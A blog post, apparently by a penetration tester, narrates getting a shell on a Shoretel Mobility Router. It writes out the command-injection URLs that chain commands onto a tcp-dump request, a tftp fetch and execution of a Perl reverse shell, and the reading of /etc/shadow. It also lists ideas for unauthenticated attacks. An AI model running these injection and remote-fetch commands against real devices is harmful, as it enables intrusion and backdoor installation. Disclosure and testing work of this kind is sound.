Command Execution on Shoretel Mobility Router:II

Well, things didn't quite go the way I expected. Success was still had. But, in my mind it was a much lesser victory. I managed to get shell, capture, and reveal the root password, which I will be sharing with you here since I'm 99.999% sure it's the same on all the Shoretel Mobility Routers, but lets start where we left off.

Last we left our hero....
I had managed to find a command injection vulnerability by manipulating a post to the Commands page in the Troubleshooting area on the mobility router.

Now began my quest to find a writable directory, or file, so that I could upload a file to get a shell.

Well as it turns out, as the Apache user, you can't write anywhere. Even the places it says you SHOULD be able to write to, you can't. The file system is in a permanent read only state in all the places that the Apache user has rights to.

So, I output a directory listing with permissions (ls -laR /) and started pouring over it looking for every place that Apache had write and execute permissions. All the places that existed were in the Read Only filesystem area.

I'd like to take a moment here and point out that Linux file system layout and permissions are not my specialty. I believe I have a fairly firm grip on how to read them for misconfiguration but it's just not something I've spent a lot of time doing. I did the best I could, I may have missed something, I don't know. I'm working on sanitizing the directory listing I have so that I can post it somewhere and people with a better understanding can take a look over it and see if I missed something, should they so desire.

So I sat back in my chair after attempting to echo 1 > test.txt in all the directories I could. I looked about for files that I could modify that I might be able to run as a more privileged user, I found none.

Then I looked back at the troubleshooting page and saw this:

Packet Capture.
Capturing packets usually requires that you have elevated permissions.

As luck would have it you can chain commands on this page too, although much simpler.

I set it to capture on any interface 1 packet of ICMP and output it to the browser. It pops up another page with the whole command in the address bar.

Let's clean that up a bit

https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp

I know tcp-dump, and that sure looks like a native command there. Lets see if we can see who we are:

I added a && whoami to the end of the address and there at the bottom it returned:
(https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp && whoami)

admin

This brings about a change, I'm a privileged user, that's nice.

Admin has read write execute ALL OVER the place.

But still I was dogged by the Read Only filesystem deal. Even in directories where I had full permissions I still could not write to a file. I spent a while looking for a writable directory.

Then I thought about the /tmp directory. Not much use in a tmp directory if you can't write to it.

I added a && echo 1 > /var/root/tmp/text.txt && ls -la /var/root/tmp

Sweet tap dancing tuna fish, test.txt. Finally, a writable directory.

I had noticed earlier that Perl is installed, so I figured that a Perl shell would probably be the easiest way to go.
I setup a tftp server and put a Perl shell I've used a few times before on in.

Then I went back to the web interface and entered

&& cd /var/root/tmp && tftp hostname -c get plshell.pl && chmod +x /var/root/tmp/plshell.pl

*why the tftp -c? I have no idea, this particular implementation of TFTP client wanted a -c for the command. I've never had to use it before.

The perl shell can be found here: http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
Thanks pentestmonkey, your pentest cheatsheet has saved my bacon a few times.

Now we execute it and viola!
(https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp && /var/root/tmp/plshell.pl)

 We have shell.

And that's pretty much that. The admin user has the same permissions as the root user. Since we were executing commands as the admin user instead of Apache we didn't have to find any privilege escalation exploits or kernel vulnerabilities. Kind of takes the fun out of it when you already have all the rights you need.

The Root Password

And now the moment I spent a bunch of time waiting for, the ever beloved cat /etc/shadow and seeing the root hash, that beautiful juicy root hash, just sitting there, waiting to be cracked, to have it's secret revealed, to be removed from the shadows and thrust into the light of knowledge and understanding..........

root:!!:10000:0:99999:7:::

F*CK YOU!!! Really? A blank freaking password?

This made me sad, all the work and I didn't even get to crack a hash.

Well you can't win them all I guess.


So.. this leaves me in a situation that I don't really like. All I've accomplished is to take the privleges I had, and use them to get a different means to access a device I already had access to. While it is handy to have an actual shell to access the device instead of just a web interface and terminal program that you access when you SSH in, I still feel pretty cheated about the whole deal. In the short run I've accomplished what I set out to do, I found a way to load a backdoor onto the system.

However, lets face it, you have to have the admin user credentials to log into the device, there's not much cool stuff happening here.

Now I start my search for a means of unauthenticated access to the device. Perhaps there's a way to steal a session cookie by writing some kind of xss deal into the log files. Maybe they send the authentication cookie in the clear and I can snag it with a sniffer. Maybe they're still running a vulnerable version of SSL or Apache server or FTP, I doubt it, but just maybe. Perhaps there's still yet some other way to compromise this device.

The fight is over, but the battle rages on.